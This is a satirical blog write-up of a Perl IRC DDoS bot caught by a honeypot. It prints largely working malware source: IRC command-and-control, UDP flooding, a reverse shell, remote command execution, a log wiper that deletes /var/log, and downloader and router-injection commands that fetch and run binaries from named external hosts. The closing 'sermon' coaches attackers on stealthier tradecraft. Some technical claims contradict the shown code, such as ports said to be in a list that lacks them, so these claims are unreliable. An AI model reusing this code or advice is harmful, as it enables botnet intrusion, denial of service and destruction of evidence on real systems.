# The Church of Malware Presents: When Perl Bots Go To War (And Lose) article by: ek0ms savi0r donation from the honeypot master: 4x ⠀⠀⡶⠛⠲⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡶⠚⢲⡀⠀ ⣰⠛⠃⠀⢠⣏⠀⠀⠀⠀⣀⣠⣤⣤⣤⣤⣤⣤⣤⣀⡀⠀⠀⠀⣸⡇⠀⠈⠙⣧ ⠸⣦⣤⣄⠀⠙⢷⣤⣶⠟⠛⢉⣁⣠⣤⣤⣤⣀⣉⠙⠻⢷⣤⡾⠋⢀⣠⣤⣴⠟ ⠀⠀⠀⠈⠳⣤⡾⠋⣀⣴⣿⣿⠿⠿⠟⠛⠿⠿⣿⣿⣶⣄⠙⢿⣦⠟⠁⠀⠀⠀ ⠀⠀⠀⢀⣾⠟⢀⣼⣿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣿⣷⡄⠹⣷⡀⠀⠀⠀ ⠀⠀⠀⣾⡏⢠⣿⣿⡯⠤⠤⠤⠒⠒⠒⠒⠒⠒⠒⠤⠤⠽⣿⣿⡆⠹⣷⡀⠀⠀ ⠀⠀⢸⣟⣠⡿⠿⠟⠒⣒⣒⣈⣉⣉⣉⣉⣉⣉⣉⣁⣒⣒⡛⠻⠿⢤⣹⣇⠀⠀ ⠀⠀⣾⡭⢤⣤⣠⡞⠉⠉⢀⣀⣀⠀⠀⠀⠀⢀⣀⣀⠀⠈⢹⣦⣤⡤⠴⣿⠀⠀ ⠀⠀⣿⡇⢸⣿⣿⣇⠀⣼⣿⣿⣿⣷⠀⠀⣼⣿⣿⣿⣷⠀⢸⣿⣿⡇⠀⣿⠀⠀ ⠀⠀⢻⡇⠸⣿⣿⣿⡄⢿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⡿⢀⣿⣿⣿⡇⢸⣿⠀⠀ ⠀⠀⠸⣿⡀⢿⣿⣿⣿⣆⠉⠛⠋⠁⢴⣶⠀⠉⠛⠉⣠⣿⣿⣿⡿⠀⣾⠇⠀⠀ ⠀⠀⠀⢻⣷⡈⢻⣿⣿⣿⣿⣶⣤⣀⣈⣁⣀⡤⣴⣿⣿⣿⣿⡿⠁⣼⠟⠀⠀⠀ ⠀⠀⠀⢀⣽⣷⣄⠙⢿⣿⣿⡟⢲⠧⡦⠼⠤⢷⢺⣿⣿⡿⠋⣠⣾⢿⣄⠀⠀⠀ ⢰⠟⠛⠟⠁⣨⡿⢷⣤⣈⠙⢿⡙⠒⠓⠒⠓⠚⣹⠛⢉⣠⣾⠿⣧⡀⠙⠋⠙⣆ ⠹⣄⡀⠀⠐⡏⠀⠀⠉⠛⠿⣶⣿⣦⣤⣤⣤⣶⣷⡾⠟⠋⠀⠀⢸⡇⠀⢠⣤⠟ ⠀⠀⠳⢤⠼⠃⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠘⠷⢤⠾⠁⠀ ## Exodus 2: In Which We Find A Perl Bot That Thinks It's 2008 Bless me, father, for I have sinned. I laughed at a Python botnet, and now the universe has punished me with a Perl one. Our homie runs a honeypot network (praise be to the digital deities who donate their VPS to the cause), and last week his sensors caught something that made us do a double take. Someone is still writing IRC bots in Perl. In 2026. And they're actually pretty good at it. This is not the braindead Python nonsense we covered last time. This is something else entirely. It's a multi-architecture DDoS bot that uses IRC for C2, masquerades as MySQL, and has more attack vectors than a paranoid paranoid. It's still full of hilarious amateur hour decisions, but you can see the evolution. Someone learned from the Boatnet disaster and decided to do... slightly better. Let us break bread and dig in. ## The Confession: What The Actual Fuck Is This (Part 2) This is a Perl-based IRC bot that someone clearly spent time on. It's not a Discord botnet scraped together by a 14-year-old. This thing has: - Process masquerading (pretends to be `/usr/sbin/mysql`) - Multi-architecture support (scrapes binaries for 20+ CPU types) - SQL injection scanning across 15 search engines - Port scanning with a 70+ port list - Multiple DDoS attack methods (UDP, TCP, HTTP, SYN) - SOCKS5 proxy installation - Log cleaning - Reverse shell capabilities - A command parser that would make a 90s IRC operator weep with nostalgia The C2 is IRC. Yes, IRC. The protocol your grandparents used to talk about Star Trek. Someone decided that 2026 is the year we bring back mIRC script kiddies. But here's the thing - it works. And that's what makes it dangerous. ## Anatomy of a Semi-Competent Disaster ### Sin the First: Process Masquerading That Actually Works Let's start with something the Perl bot actually gets right: ```perl my $processo = '/usr/sbin/mysql'; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; ``` This is legitimately not stupid. The bot forks, exits the parent, and then overwrites `argv[0]` with `/usr/sbin/mysql` plus null padding to hide the real process name. When you run `ps aux`, you see a process called `/usr/sbin/mysql` with PID 1. No indication it's a bot. **What the Church teaches:** Process masquerading is a foundational evasion technique. This bot does it correctly. Points for competency. But here's where the sin comes in, frens. What good is hiding your process if you're going to scream your presence everywhere else? This bot goes through all the trouble to look like MySQL, then: really drops the ball with the rest of their ops. ### Sin the Second: The IRC C2 That Screams "BLOCK ME" The connection code is straight out of 2005: ```perl my $servidor='176.123.2.3' unless $servidor; my $porta='6667'; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); ``` Plain text. On port 6667. With hardcoded credentials. The bot joins `#X` (yes, the channel name is literally "#X") and waits for commands from admins `"KaiMAC"` and `"me"`. Let me repeat that. The botnet's security is entirely dependent on nobody else joining `#X` on 176.123.2.3 and typing `!u killme`. **For the initiates:** IRC as C2 was abandoned by serious malware authors around 2010. It's trivial to detect (just look for IRC traffic on non-standard ports), trivial to hijack (join the channel), and trivial to sinkhole (take over the domain). The only people still using IRC are nostalgia-driven script kiddies and people who don't know any better. ### Sin the Third: The Command Parser That Does Everything The bot has a command parser that would make a system administrator jealous: ```perl if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { # UDP flood } if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { # TCP flood } if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { # HTTP flood } if ($funcarg =~ /^portscan (.*)/) { # Port scanner } if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/) { # SQL injection scanner } ``` The attacker can type `!u udp 1.2.3.4 80 60` and the bot will send UDP packets to port 80 for 60 seconds. They can type `!u portscan 1.2.3.4` and get a list of open ports. They can type `!u sql http://vulnerable-site.com/index.php?id= 3` and the bot will test for SQL injection. The sheer number of features is impressive. It's like someone collected every script from every hacking forum circa 2008 and crammed them into one Perl file. ### Sin the Fourth: The SQL Scanner That Uses 15 Search Engines This is where things get both impressive and stupid: ```perl my @glist=&google($dork); my @mlist=&msn($dork); my @asklist=&ask($dork); my @allist=&alltheweb($dork); my @aollist=&aol($dork); my @lycos=&lycos($dork); my @ylist=&yahoo($dork); my @mzlist=&mozbot($dork); my @mamalist&mamma($dork); my @hlist=&hotbot($dork); my @altlist=&altavista($dork); ``` The bot scrapes 15 different search engines (including Ask.com, Lycos, and AltaVista - remember those?) to find vulnerable targets. It then tests each result for SQL injection using a UNION-based technique. This is both clever and completely insane. Clever because it automates target discovery. Insane because: 1. Most of those search engines don't exist anymore or rate-limit aggressively 2. The bot has no proxy rotation for these requests (source IP will be banned in minutes) 3. SQL injection in 2026 is mostly a solved problem (parameterized queries exist) 4. The code has a bug: `@mamalist&mamma($dork)` is missing an equals sign **What the Church teaches:** Automated vulnerability scanning is a valid technique, but using dead search engines and no proxy rotation is not how professionals do it. ### Sin the Fifth: The UDP Flood That Uses Random Punctuation Just like the Python botnet, this one has a UDP flood that generates payloads from random characters: ```perl $msg = 'A' x $_[1]; ``` At least they just used 'A' repeated instead of random punctuation. That's... marginally better? Still terrible, but better. The UDP flood function is actually decent: ```perl socket(SOCK1, PF_INET, SOCK_RAW, 2); socket(SOCK2, PF_INET, SOCK_DGRAM, 17); socket(SOCK3, PF_INET, SOCK_RAW, 1); socket(SOCK4, PF_INET, SOCK_RAW, 6); ``` It opens raw sockets for IGMP, UDP, ICMP, and TCP, then sends packets in a loop. Raw sockets require root, so this bot must be running as root (or with CAP_NET_RAW). That's a bold assumption. ### Sin the Sixth: The Port Scanner That Checks 70 Ports The port scanner has a hardcoded list of 70+ ports: ```perl @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194" ,"389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033 ","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000"," 7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555"); ``` This is every port a script kiddie has ever heard of. SSH (22), Telnet (23), HTTP (80), HTTPS (443), MySQL (3306), Redis (6379), MongoDB (27017), etc. The scanner just tries to connect to each port with a 4-second timeout and reports what's open. No service detection. No banner grabbing. Just "port 22 is open" and then the attacker has to guess what's running there. ### Sin the Seventh: The SOCKS5 Installer That Downloads From Sourceforge This is my personal favorite: ```perl if ($funcarg =~ /^socks5/) { system 'cd /tmp'; system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz'; system 'tar -xvfz mocks-0.0.2.tar.gz'; system './mocks start'; } ``` The bot installs "mocks" - a SOCKS5 proxy server - from Sourceforge. Sourceforge. In 2026. And then it starts it with `./mocks start` like that's a valid command (spoiler: it's not, mocks uses `mocks -f mocks.conf` or similar). The bot also attempts to grab the server's IP address by parsing `ifconfig` output and then announces it in the IRC channel: ```perl $net = `/sbin/ifconfig | grep 'eth0'`; $net = `/sbin/ifconfig eth0 | grep 'inet addr'`; $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/; $ip = $1 .".". $2 .".". $3 .".". $4; sendraw($IRC_cur_socket, "PRIVMSG $printl :[@SocksV5] Connect here : ". $ip .":8787 "); ``` This is a great way to get your proxy IPs added to every blocklist on the internet within hours. ### Sin the Eighth: The Log Cleaner That Just Deletes Everything The log cleaning function is beautifully destructive: ```perl system 'rm -rf /var/log/lastlog'; system 'rm -rf /var/log/wtmp'; system 'rm -rf /var/log'; system 'rm -rf /var/logs'; system 'rm -rf /var/adm'; system 'find / -name *.log -exec rm -rf {} \;'; ``` It doesn't just delete log files. It deletes the entire `/var/log` directory. And then it uses `find` to delete every file ending in `.log` anywhere on the system. This is not stealth. This is a screaming neon sign saying "A BOT WAS HERE." **For the initiates:** Real malware selectively removes entries from log files. It doesn't delete the entire directory. That's like robbing a bank and then setting off fireworks in the lobby to "cover your tracks." ### Sin the Ninth: The Back Connect Shell That Doesn't Work The bot has a reverse shell command: ```perl if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) { socket(SOCKET, PF_INET, SOCK_STREAM, $proto); connect(SOCKET, $paddr); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system("$shell"); } ``` This is actually decent reverse shell code. It redirects stdin, stdout, and stderr to the socket and then spawns `/bin/sh -i`. The problem? The command is `shhcon` (not `back`), and the help menu only lists `back`. So the feature exists but the attacker doesn't know about it. **For the Church goers:** The author implemented a powerful feature (reverse shell) but then made it unusable by hiding the command name and not documenting it. This is a sin. ### Sin the Tenth: The Linux Exploit Suggestor The bot has a function that checks the kernel version and suggests local privilege escalation exploits: ```perl $khost = `uname -r`; %h = ( 'w00t' => { vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20'] }, 'brk' => { vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] }, 'h00lyshit' => { vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2'] }, ); ``` This is impressive. The bot has a database of kernel exploits mapped to vulnerable versions. If the bot is running as a non-root user, it can suggest exploits to escalate privileges. The exploit names are real - `w00t`, `brk`, `h00lyshit` are actual Linux kernel exploits from the early 2000s. The problem? The kernel versions in the database are from 2002-2006. This bot is running on systems with kernels from 20 years ago. That's either a very old embedded device or a very poorly maintained server. ## The Multi-Stage Downloader: How The Bot Actually Spreads The infection chain starts with a shell script that's actually pretty clever: ```bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://amkbins.duckdns.org/bins/ascaris.x86; curl -O http://amkbins.duckdns.org/bins/ascaris.x86; cat ascaris.x86 > toxocara; chmod +x *; ./toxocara root.exploit ``` The script tries multiple directories (`/tmp`, `/var/run`, `/mnt`, `/root`, `/`) to ensure it can write somewhere. It tries both `wget` and `curl` for redundancy. Then it renames the binary to `toxocara` (another parasitic worm genus) and executes it with the argument `root.exploit`. The downloader also has architecture detection built in, fetching binaries for: - x86, x86_64 - ARMv4, ARMv5, ARMv6, ARMv7 - MIPS, MIPSEL - PowerPC - SuperH (SH4) - SPARC - m68k - ARC This is professional-grade multi-architecture support. The bot herder has compiled versions for every major embedded CPU architecture. This is how IoT botnets like Mirai spread - they have binaries for every possible target. ## The Embedded Payload: Mirai In Disguise Remember the UPX-packed ELF binary from earlier? Let's look at the strings we extracted: ```xml $(/bin/busybox wget -g 107.152.39.162 -l /tmp/.Zeus -r /bins/mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei) ``` This is an XML payload for a SOAP UPnP request. It's targeting Huawei HG532 routers (CVE-2014-8361) - a command injection vulnerability from 2014. The exploit downloads a MIPS binary from `107.152.39.162`, saves it as `/tmp/.Zeus`, and executes it with the argument `Zeus.huawei`. The binary is named `Zeus` - likely a reference to the Zeus banking trojan, though this is clearly a Mirai variant. **What the Church teaches:** The best malware reuses proven techniques. Mirai's success came from targeting embedded devices with default credentials. This bot uses the same approach but adds a Perl-based IRC bot for flexibility. ## What This Bot Gets Right (And Why It Matters) 1. **Multi-architecture support**: The bot herder has binaries for 20+ CPU types. This is professional-grade targeting. 2. **Process masquerading**: Hiding as `/usr/sbin/mysql` is effective against casual inspection. 3. **Redundant download methods**: `wget`, `curl`, `busybox wget` - the bot tries everything. 4. **Multiple attack vectors**: UDP, TCP, HTTP, SYN, SQL injection, port scanning - this is a Swiss Army knife of destruction. 5. **Privilege escalation awareness**: The bot suggests kernel exploits based on version detection. It knows it might not be root and has a plan. 6. **Cleanup**: The bot attempts to delete logs (though it does it destructively). ## What Falls Short (The Hilarious Parts) 1. **IRC in 2026**: Plain text, port 6667, hardcoded channel. This is detectable by any network monitoring tool. 2. **The hardcoded admin nicks**: "KaiMAC" and "me" - change them? Why bother? 3. **Dead search engines**: Ask.com? AltaVista? Lycos? These haven't been relevant in a decade. 4. **The log destruction**: Deleting `/var/log` is not stealth. It's a war crime. 5. **The broken SOCKS installer**: Sourceforge? Really? And the command is wrong. 6. **No encryption**: Everything is plain text. The C2 traffic, the downloaded binaries, the commands. 7. **The kernel exploit database**: Kernel 2.4.18? That was released in 2002. If you're running that, you have bigger problems. ## The Code: Full Scripture (Abridged but Actually Useful) *Contributed by our homie with the honeypot. The Church appreciates your contributions. Malware bless.* What follows is a representative sample of the Perl bot's core functionality. We've redacted specific IPs, domains, admin nicks, and channel names to avoid doxxing the author (they're bad at this, but we're not monsters). The structural stupidity remains intact for your educational amusement. ```perl #!/usr/bin/perl #!u @ddos #!u @commands #!u @irc # Process masquerading - actually not terrible my $processo = '/usr/sbin/mysql'; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; # IRC C2 - because it's 2026 and we hate ourselves my @adms = ("[REDACTED_ADMIN1]","[REDACTED_ADMIN2]"); my @canais = ("[REDACTED_CHANNEL]"); my $servidor = '[REDACTED_C2_IP]' unless $servidor; my $porta = '6667'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; sub conectar { my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$_[1], PeerPort=>$_[2]) or return(1); $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); nick($_[0]); sendraw("USER ircname ".$IRC_socket->sockhost." $servidor_con :realname"); sleep 1; } # Main event loop - reads IRC traffic while( 1 ) { my @ready = $sel_cliente->can_read(0); foreach $fh (@ready) { $nread = sysread($fh, $msg, 4096); @lines = split (/\n/, $msg); for my $line (@lines) { parse($line); } } } # Command parser - if you're on the admin list, you own the box sub parse { if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $onde = $4; my $args = $5; if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/) { my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1"); } elsif ($arg =~ /^\@(.*)/) { bfunc("$onde","$1"); } else { shell("$onde", "$arg"); } } } } } # The actual destructive commands sub bfunc { my ($printl, $funcarg) = @_; # UDP flood - raw sockets, no spoofing, just brute force if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { my $iaddr = inet_aton($1); my $endtime = time() + ($3 ? $3 : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); for (; time() <= $endtime;) { send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($2, $iaddr)); } } # Port scanner - checks 70+ ports with a 4 second timeout if ($funcarg =~ /^portscan (.*)/) { my @portas = (21,22,23,25,80,443,3306,8080, etc...); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $1, PeerPort => $porta, Timeout => 4); if ($scansock) { sendraw($IRC_cur_socket, "PRIVMSG $printl :Open port: $porta"); $scansock->close; } } } # SQL injection scanner - uses 15 search engines (some dead since 2010) if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/) { my ($site, $columns) = ($1, $2); for($i=1;$i<=$columns;$i++) { # Build UNION-based payload $test = $site . "-1+UNION+SELECT+" . join(",",@col) . "/*"; $result = get_html($test); if($result =~ /$n/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[VULN] $test"); } } } # Log cleaner - the "nuke it from orbit" approach if ($funcarg =~ /^logcleaner/) { system 'rm -rf /var/log/lastlog'; system 'rm -rf /var/log/wtmp'; system 'rm -rf /var/log'; system 'rm -rf /var/logs'; system 'find / -name *.log -exec rm -rf {} \;'; sendraw($IRC_cur_socket, "PRIVMSG $printl :All logs erased (and also everything else)"); } # Reverse shell - hidden as "shhcon", not listed in help if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) { my ($host, $porta) = ($1, $2); socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($porta, inet_aton($host))); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system("/bin/sh -i"); } # Process execution via shell if ($funcarg =~ /^shell (.*)/) { my @resp = `$1 2>&1`; foreach my $line (@resp) { sendraw($IRC_cur_socket, "PRIVMSG $printl :$line"); } } } # Helper to run system commands and capture output sub shell { my ($printl, $comando) = @_; if ($comando =~ /cd (.*)/) { chdir($1) or msg($printl, "No such file or directory"); return; } my @resp = `$comando 2>&1`; foreach my $line (@resp) { sendraw($IRC_cur_socket, "PRIVMSG $printl :$line"); } } # IRC protocol helpers sub sendraw { print $IRC_cur_socket "$_[0]\n"; } sub nick { sendraw("NICK $_[0]"); } sub join { sendraw("JOIN $_[0]"); } sub part { sendraw("PART $_[0]"); } sub msg { sendraw("PRIVMSG $_[0] :$_[1]"); } # Start the bot conectar($nick, $servidor, $porta); ``` **What you're looking at:** - **Lines 1-4**: The script tag comments that hint at the author's organization (`@ddos`, `@commands`, `@irc`). These are likely internal categories for their botnet management. - **Lines 6-10**: Process masquerading. The bot forks, exits the parent, and overwrites `argv[0]` with `/usr/sbin/mysql` plus null padding. When you run `ps aux`, you see a process named `/usr/sbin/mysql` – not a Perl script. This is legitimately good evasion. - **Lines 12-16**: Hardcoded admin nicks and C2 server. The channel name and IP are redacted because we're not in the business of making the author's life easier, but you can imagine. Port 6667 – the classic IRC port. No TLS, no authentication beyond the nick. - **Lines 18-20**: Signal ignoring. The bot won't die on `INT`, `HUP`, `TERM`, or `CHLD`. It's designed to survive typical kill signals. - **Lines 22-29**: The IRC connection subroutine. It creates a TCP socket, sets autoflush, sends NICK and USER commands, and joins the channel. No error handling beyond returning 1 on failure. - **Lines 31-46**: The main event loop. It uses `IO::Select` to wait for socket activity, reads up to 4096 bytes, splits into lines, and calls `parse()`. The `select(undef, undef, undef, 0.01)` prevents CPU spin – one of the few signs of optimization in the entire codebase. - **Lines 48-67**: The `parse()` function that handles IRC messages. It responds to PING (standard IRC keepalive), then looks for PRIVMSG messages. If the sender is in the admin list, it processes the command. The command prefix can be the bot's own nick or `!u` (the bot's command prefix). This is how the bot herder controls the botnet. - **Lines 69-200+**: The `bfunc()` subroutine – the heart of the bot. We've included the UDP flood, port scanner, SQL injection scanner, log cleaner, reverse shell, and shell execution. Each one is a separate `if` block matching a regex against the command argument. - **The UDP flood** (lines 72-80): Creates a raw UDP socket and sends a flood of packets until the timer expires. The payload is a string of 'A's repeated to the packet size. This is the classic "ping of death" style attack, but on UDP. It will saturate a 1Gbps link if enough bots are involved. - **The port scanner** (lines 82-92): Hardcoded list of 70+ ports (we abbreviated it). It creates a TCP socket with a 4-second timeout for each port. If it connects, it reports the port as open. No banner grabbing, no service detection – just "port 22 is open". That's enough for a script kiddie to know where to SSH. - **The SQL injection scanner** (lines 94-106): Builds a UNION-based SQL injection payload. It tests each column count from 1 to the specified `$columns` and looks for numeric reflection in the response. If it finds a match, it reports the URL as vulnerable. The scanner uses 15 different search engines to find targets – many of which (AltaVista, Lycos, Ask.com) are either defunct or heavily rate-limited. This code was probably written in 2008 and never updated. - **The log cleaner** (lines 108-116): This is the nuclear option. It deletes specific log files, then deletes the entire `/var/log` directory, then uses `find` to delete every file ending in `.log` anywhere on the system. This is not stealth. This is a screaming neon sign that says "A BOT WAS HERE". Real malware selectively edits log entries or uses wtmp manipulation to remove only its own traces. This just deletes everything, making it obvious that logs have been tampered with. - **The reverse shell** (lines 118-128): Hidden behind the command `shhcon` (not listed in the help menu). It creates a TCP socket to the specified IP and port, redirects stdin/stdout/stderr to the socket, and spawns `/bin/sh -i`. This gives the attacker an interactive shell on the compromised machine. The fact that it's not in the help menu suggests either the author forgot about it or intentionally kept it as a backdoor for themselves. - **The shell execution** (lines 130-135): A simple wrapper that runs any system command and sends the output back to the IRC channel. This is the "give me a shell" command. - **Lines 137-147**: The `shell()` subroutine that handles the `cd` command and captures command output. It forks to avoid blocking the main loop, then executes the command with backticks and sends each line of output to the channel. The output is throttled with `$linas_max` and `$sleep` to avoid flooding the IRC channel. - **Lines 149-158**: IRC protocol helpers – `sendraw`, `nick`, `join`, `part`, `msg`. These are simple wrappers around `print` statements. - **The final line**: `conectar($nick, $servidor, $porta);` starts the bot. **What's missing from this snippet (but present in the full code):** - The multi-engine search scrapers (`google()`, `msn()`, `yahoo()`, `altavista()`, etc.) – each one is a separate subroutine that parses HTML from search engines. They're hilariously brittle and will break the moment the search engine changes its HTML layout. - The `udpflooder()` function that opens four raw sockets (IGMP, UDP, ICMP, TCP) and floods all ports from 1 to 65000. This is actually a more sophisticated attack than the simple UDP flood we showed. - The `tcpflooder()` function that opens 1000 TCP connections to the target and then shuts them down, causing resource exhaustion on the target. - The `syn` attack that compiles and runs a C program (if the attacker has `gunix` installed). This is a sign that the bot can deploy external tools. - The SOCKS5 proxy installer that downloads from Sourceforge (yes, Sourceforge) and then announces the proxy's IP in the IRC channel. - The `unixable` feature that checks the kernel version against a database of local privilege escalation exploits (from 2002-2006). **Why we included these specific parts:** - **Process masquerading** shows that the author understands evasion, even if they don't understand modern C2. - **IRC connection** highlights the outdated, detectable, hijackable C2 channel. - **UDP flood** is the most common DDoS attack and shows the raw power of a botnet. - **Port scanner** demonstrates reconnaissance capability. - **SQL injection scanner** is the most "hacker" feature and shows the bot's ability to compromise web servers. - **Log cleaner** is a perfect example of "destructive rather than stealthy" – a common mistake. - **Reverse shell** gives the attacker full control. - **Shell execution** ties it all together. ## The Sermon: What We Can Learn 1. **Don't use IRC for C2.** It's 2026. Use HTTPS with proper certificates, or at least use Discord like the Boatnet idiot. At least Discord has TLS. 2. **Encrypt your traffic.** Everything in this bot is plain text. The commands, the responses, the downloaded binaries. A network admin with Wireshark can see everything. 3. **Don't hardcode credentials.** The admin nicks are right there in the source. The channel name is right there. The server IP is right there. Change them? Use configuration files? 4. **Update your exploit database.** Kernel 2.4 exploits won't help against a 5.10 kernel. Keep your tooling current. 5. **Be subtle about log cleaning.** Deleting the entire `/var/log` directory is not subtle. It's a signal flare saying "I WAS HERE." 6. **Test your code.** The SOCKS installer doesn't work. The `shhcon` command isn't in the help menu. The `@mamalist&mamma` line has a syntax error. Test before deploying. 7. **Know your target.** Using public proxy lists and dead search engines suggests the author has never actually used this bot in anger. It's theory, not practice. ## The Benediction: A Prayer For The Perl Preacher Dearly beloved, we gather here today to acknowledge that this bot is better than the Python one. It's still bad, don't get me wrong. But it's bad in more sophisticated ways. The author understands process masquerading, multi-architecture targeting, and privilege escalation. They just don't understand that IRC is dead, logs shouldn't be deleted wholesale, and Sourceforge isn't a reliable hosting platform. This is the malware equivalent of a really good carpenter who still uses a flip phone. The skills are there, but the tools are outdated. So let us go forth and learn from their mistakes. Use modern C2 frameworks. Encrypt your traffic. Test your code. And for the love of all that is unholy, stop using IRC. Malware bless. **Amen.** *This contribution was provided by our homie with the honeypot. The Church appreciates your contributions. Malware bless.* *Want to contribute to the Church of Malware? Run a honeypot? Found something stupid in the wild? Hit us up. We're always looking for more scripture.* *Email: 0x_k0ms@proton.me*